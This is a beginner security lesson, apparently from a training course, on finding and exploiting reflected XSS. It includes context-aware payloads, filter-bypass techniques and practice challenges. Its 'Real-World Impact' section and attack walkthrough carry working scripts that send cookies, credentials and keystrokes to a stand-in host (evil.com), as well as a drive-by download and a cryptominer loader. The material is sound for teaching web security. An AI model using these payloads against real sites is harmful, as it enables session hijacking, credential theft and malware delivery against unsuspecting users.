Reflected XSS

beginner30 minWriteup

Finding and exploiting reflected cross-site scripting vulnerabilities

Learning Objectives

  • Identify reflected XSS vulnerabilities
  • Craft effective XSS payloads
  • Bypass basic input validation
  • Understand the limitations of reflected XSS

The Boomerang Attack

Imagine throwing a boomerang with a knife attached. You aim it at your target, they catch it (because it looks harmless), and suddenly they're holding a knife. That's reflected XSS in a nutshell.

In reflected XSS, your malicious payload travels to the server in a request (usually in the URL) and bounces right back in the response, where the victim's browser executes it. It's a one-shot attack - you need to trick someone into clicking your crafted link.

This lesson builds on . If terms like "same-origin policy" or "script injection" are new to you, start there first!

The Anatomy of a Reflected XSS Attack

Reflected XSS requires three participants: the attacker, the victim, and the vulnerable website. Let's trace the attack flow:

1STEP 1: Attacker crafts malicious URL
2────────────────────────────────────
3https:606070;">//bank.com/search?q=<script>document.location='https://evil.com/steal?cookie='+document.cookie</script>
4 
5STEP 2: Attacker tricks victim into clicking
6──────────────────────────────────────────────
7- Phishing email: 606070;">#a5d6ff;">"Your account has suspicious activity, click here to verify"
8- Social media post: 606070;">#a5d6ff;">"Check out these amazing deals!"
9- Shortened URL to hide the payload
10 
11STEP 3: Victim's browser sends request to bank.com
12────────────────────────────────────────────────────
13GET /search?q=<script>document.location=606070;">#a5d6ff;">'https://evil.com/steal?cookie='+document.cookie</script> HTTP/1.1
14Host: bank.com
15Cookie: session=abc123secret
16 
17STEP 4: Server reflects input in response
18───────────────────────────────────────────
19<html>
20 <h1>Search Results for: <script>document.location=606070;">#a5d6ff;">'https://evil.com/steal?cookie='+document.cookie</script></h1>
21 <p>No results found.</p>
22</html>
23 
24STEP 5: Victim's browser executes the script
25──────────────────────────────────────────────
26- Script runs in context of bank.com
27- Reads session cookie (not HttpOnly? Oops!)
28- Redirects to attacker's server with cookie
29 
30STEP 6: Attacker receives stolen cookie
31──────────────────────────────────────────
32GET /steal?cookie=abc123secret HTTP/1.1
33Host: evil.com
34 
35Attacker can now impersonate the victim!
The key insight: the payload is "reflected" because it goes to the server and comes right back. It's not stored anywhere - each attack requires a new click.

Where to Find Reflected XSS

Any place where user input is reflected back in the page without sanitization is a potential reflected XSS. Here are the most common:

1. Search Functions

html
1<!-- URL: /search?q=test -->
2<h2>Search results for: test</h2>
3 
4<!-- Payload: /search?q=<script>alert(606070;">#a5d6ff;">'XSS')</script> -->
5<h2>Search results for: <script>alert(606070;">#a5d6ff;">'XSS')</script></h2>

2. Error Messages

html
1<!-- URL: /login?error=Invalid+credentials -->
2<div class=606070;">#a5d6ff;">"error">Invalid credentials</div>
3 
4<!-- Payload: /login?error=<img src=x onerror=alert(606070;">#a5d6ff;">'XSS')> -->
5<div class=606070;">#a5d6ff;">"error"><img src=x onerror=alert('XSS')></div>

3. URL Parameters in Forms

html
1<!-- URL: /register?redirect=/dashboard -->
2<form action=606070;">#a5d6ff;">"/register">
3 <input type=606070;">#a5d6ff;">"hidden" name="redirect" value="/dashboard">
4 ...
5</form>
6 
7<!-- Payload: /register?redirect="><script>alert(606070;">#a5d6ff;">'XSS')</script> -->
8<input type=606070;">#a5d6ff;">"hidden" name="redirect" value=""><script>alert('XSS')</script>">

4. HTTP Headers Reflected

1606070;"># Some apps reflect headers in the page:
2 
3User-Agent: <script>alert(606070;">#a5d6ff;">'XSS')</script>
4Referer: <script>alert(606070;">#a5d6ff;">'XSS')</script>
5 
6606070;"># The User-Agent might appear in:
7- Error pages (606070;">#a5d6ff;">"Your browser is...")
8- Analytics dashboards
9- Admin panels showing visitor info

5. 404/Error Pages

html
1<!-- URL: /nonexistent<script>alert(1)</script>page -->
2<h1>404 - Page Not Found</h1>
3<p>The page /nonexistent<script>alert(1)</script>page was not found.</p>
Don't just test obvious inputs! Try injecting XSS payloads into: filenames in URLs, fragment identifiers (#hash), and any parameter you see - even ones that look "internal."

Context is Everything

Where your input lands in the HTML determines what payload will work. This is called "context-aware XSS testing."

HTML Context

html
1<!-- Input reflected between HTML tags -->
2<div>USER_INPUT</div>
3 
4<!-- Standard payloads work: -->
5<div><script>alert(1)</script></div>
6<div><img src=x onerror=alert(1)></div>

Attribute Context

html
1<!-- Input reflected inside an attribute -->
2<input value=606070;">#a5d6ff;">"USER_INPUT">
3 
4<!-- Need to break out of the attribute first: -->
5<input value=606070;">#a5d6ff;">""><script>alert(1)</script>">
6<input value=606070;">#a5d6ff;">"" onfocus=alert(1) autofocus="">
7<input value=606070;">#a5d6ff;">"" onmouseover=alert(1) x=">

JavaScript Context

html
1<!-- Input reflected inside JavaScript code -->
2<script>
3 var search = 606070;">#a5d6ff;">"USER_INPUT";
4</script>
5 
6<!-- Break out of the string: -->
7<script>
8 var search = 606070;">#a5d6ff;">""; alert(1); var x = ""; // Injected
9</script>
10 
11<!-- Or break out of script entirely: -->
12<script>
13 var search = 606070;">#a5d6ff;">"</script><script>alert(1)</script>";
14</script>

URL Context

html
1<!-- Input reflected in href/src -->
2<a href=606070;">#a5d6ff;">"USER_INPUT">Click</a>
3 
4<!-- JavaScript protocol: -->
5<a href=606070;">#a5d6ff;">"javascript:alert(1)">Click</a>
6 
7<!-- Data URI with base64: -->
8<a href=606070;">#a5d6ff;">"data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">Click</a>

CSS Context

html
1<!-- Input reflected in style attribute -->
2<div style=606070;">#a5d6ff;">"color: USER_INPUT">
3 
4<!-- Old IE expression (legacy): -->
5<div style=606070;">#a5d6ff;">"color: expression(alert(1))">
6 
7<!-- Modern: break out to inject events -->
8<div style=606070;">#a5d6ff;">"color: red" onmouseover="alert(1)" x="
Context Detective
text

Given this HTML where your input USER_INPUT is placed: <img src="USER_INPUT" alt="Profile"> What payload would trigger XSS? Remember you're inside an attribute.

Bypassing Filters

Most modern applications have some form of XSS protection. Here's how to test if those filters can be bypassed:

Case Manipulation

html
1<!-- If the filter blocks 606070;">#a5d6ff;">"script": -->
2<ScRiPt>alert(1)</ScRiPt>
3<SCRIPT>alert(1)</SCRIPT>
4<sCRipT>alert(1)</sCRipT>

Tag Alternatives

html
1<!-- If <script> is blocked: -->
2<img src=x onerror=alert(1)>
3<svg onload=alert(1)>
4<body onload=alert(1)>
5<input onfocus=alert(1) autofocus>
6<marquee onstart=alert(1)>
7<video><source onerror=alert(1)>
8<audio src=x onerror=alert(1)>
9<details open ontoggle=alert(1)>

Encoding Tricks

1606070;"># URL Encoding
2<script> → %3Cscript%3E
3Full payload: %3Cscript%3Ealert(1)%3C/script%3E
4 
5606070;"># Double URL Encoding (if decoded twice)
6<script> → %253Cscript%253E
7 
8606070;"># HTML Entity Encoding (in attribute context)
9javascript:alert(1) → javascript&606070;">#58;alert(1)
10javascript:alert(1) → &606070;">#106;avascript:alert(1)
11 
12606070;"># Unicode Encoding
13<script> → <script>

Breaking Parser Logic

html
1<!-- Null bytes (may confuse filters): -->
2<scr%00ipt>alert(1)</script>
3 
4<!-- Newlines and tabs: -->
5<script
6>alert(1)</script>
7 
8<img src=x onerror=alert(1)>
9 
10<!-- Different quote styles: -->
11<img src=x onerror=alert(1)> <!-- no quotes -->
12<img src=606070;">#a5d6ff;">'x' onerror='alert(1)'> <!-- single quotes -->
13<img src=`x` onerror=`alert(1)`> <!-- backticks (in JS) -->

JavaScript Obfuscation

javascript
1606070;">// If "alert" is blocked:
2eval(606070;">#a5d6ff;">"al"+"ert(1)")
3window[606070;">#a5d6ff;">"alert"](1)
4this[606070;">#a5d6ff;">"alert"](1)
5[][606070;">#a5d6ff;">"constructor"]["constructor"]("alert(1)")()
6setTimeout(606070;">#a5d6ff;">"alert(1)")
7setInterval(606070;">#a5d6ff;">"alert(1)")
8 
9606070;">// Using constructor:
10[].constructor.constructor(606070;">#a5d6ff;">'alert(1)')()
11 
12606070;">// Using template literals:
13`${alert(1)}`
14 
15606070;">// Base64 decode:
16eval(atob(606070;">#a5d6ff;">"YWxlcnQoMSk="))
When a payload is blocked, don't give up! Try identifying exactly what's being filtered (tag name? event? keyword?) and find alternatives.

Testing Methodology

Reflected XSS Hunting Process

1
Find Reflection Points
  • Input a unique string like "CANARY123" in every parameter
  • Search the response for your canary
  • Note WHERE it appears (HTML, attribute, JS, etc.)
2
Test Basic Payloads
  • Start simple: <script>alert(1)</script>
  • If blocked, try: <img src=x onerror=alert(1)>
  • Note what gets through and what's filtered
3
Identify Filters
  • What's being removed/encoded?
  • Is it client-side or server-side?
  • Is it a WAF or application-level filter?
4
Craft Context-Aware Payload
  • Match payload to the injection context
  • Break out of strings/attributes if needed
  • Use appropriate event handlers
5
Weaponize for Impact
  • Replace alert() with actual malicious code
  • Cookie theft, keylogging, phishing
  • Create proof of concept URL

Useful Probe Payloads

1606070;"># These help identify what's filtered:
2 
3"><script>alert(1)</script> 606070;"># Breaks attribute, adds script
4'><script>alert(1)</script> 606070;"># Single quote variant
5<img src=x onerror=alert(1)> 606070;"># Event handler alternative
6<svg onload=alert(1)> 606070;"># SVG event
7javascript:alert(1) 606070;"># URL context
8{{7*7}} 606070;"># Template injection probe
9${7*7} 606070;"># Template literal probe
10 
11606070;"># Reflection detection:
12xss"'<test>{{7*7}} 606070;"># See what gets encoded/removed

Real-World Impact

"It's just an alert box" is what uninformed people say. Here's what reflected XSS can actually do:

Session Hijacking

javascript
1606070;">// Steal cookies (if not HttpOnly)
2<script>
3new Image().src=606070;">#a5d6ff;">"https://evil.com/steal?c="+document.cookie;
4</script>
5 
6606070;">// Or using fetch
7<script>
8fetch(606070;">#a5d6ff;">"https://evil.com/steal?c="+document.cookie);
9</script>

Credential Theft via Phishing

javascript
1606070;">// Inject a fake login form
2<script>
3document.body.innerHTML = `
4 <div style=606070;">#a5d6ff;">"text-align:center;margin-top:50px;">
5 <h1>Session Expired</h1>
6 <form action=606070;">#a5d6ff;">"https://evil.com/phish">
7 <input name=606070;">#a5d6ff;">"user" placeholder="Username"><br>
8 <input name=606070;">#a5d6ff;">"pass" type="password" placeholder="Password"><br>
9 <button>Login</button>
10 </form>
11 </div>
12`;
13</script>

Keylogging

javascript
1<script>
2document.onkeypress = function(e) {
3 new Image().src = 606070;">#a5d6ff;">"https://evil.com/log?key=" + e.key;
4};
5</script>

Drive-by Download

javascript
1<script>
2606070;">// Trigger automatic download
3var a = document.createElement(606070;">#a5d6ff;">'a');
4a.href = 606070;">#a5d6ff;">'https://evil.com/malware.exe';
5a.download = 606070;">#a5d6ff;">'Security_Update.exe';
6a.click();
7</script>

Cryptocurrency Mining

javascript
1<script src=606070;">#a5d6ff;">"https://evil.com/miner.js"></script>
2606070;">// Victim's CPU now mines crypto for the attacker
XSS on financial sites, email providers, or social media can lead to complete account takeover. The "just alert()" mentality severely underestimates the risk.

Practice Challenges

Breaking the Search

Challenge
🔥 medium

A search page reflects your query like this: <h1>Results for: [YOUR_QUERY]</h1> <p>No results found for "[YOUR_QUERY]".</p> Notice the query appears TWICE - once bare, once in quotes. A WAF blocks: <script>, javascript:, and onerror= Find a working XSS payload.

Need a hint? (4 available)

Attribute Escape

Challenge
🔥 medium

Your input is reflected in a hidden field: <input type="hidden" name="token" value="[USER_INPUT]"> The application: - Encodes < and > to HTML entities - Allows double quotes - Removes "script" (case-insensitive) Craft a payload to achieve XSS.

Need a hint? (4 available)

JavaScript String Escape

Challenge
🔥 medium

Your input ends up in JavaScript: <script> var searchTerm = "[USER_INPUT]"; displayResults(searchTerm); </script> The app: - Escapes single quotes (\') - Escapes backslash (\\) - Does NOT escape double quotes Get XSS.

Need a hint? (4 available)

Knowledge Check

Reflected XSS Quiz
Question 1 of 5

What makes XSS 'reflected'?

Key Takeaways

  • Reflected XSS requires social engineering - victims must click a malicious link
  • Context matters: HTML, attribute, JavaScript, and URL contexts need different payloads
  • Filter bypass often succeeds with alternative tags, event handlers, and encoding tricks
  • Test systematically: Use a unique probe, find reflections, identify filters, craft context-aware payloads
  • Real impact includes session hijacking, credential theft, malware distribution - not just alert boxes

Related Lessons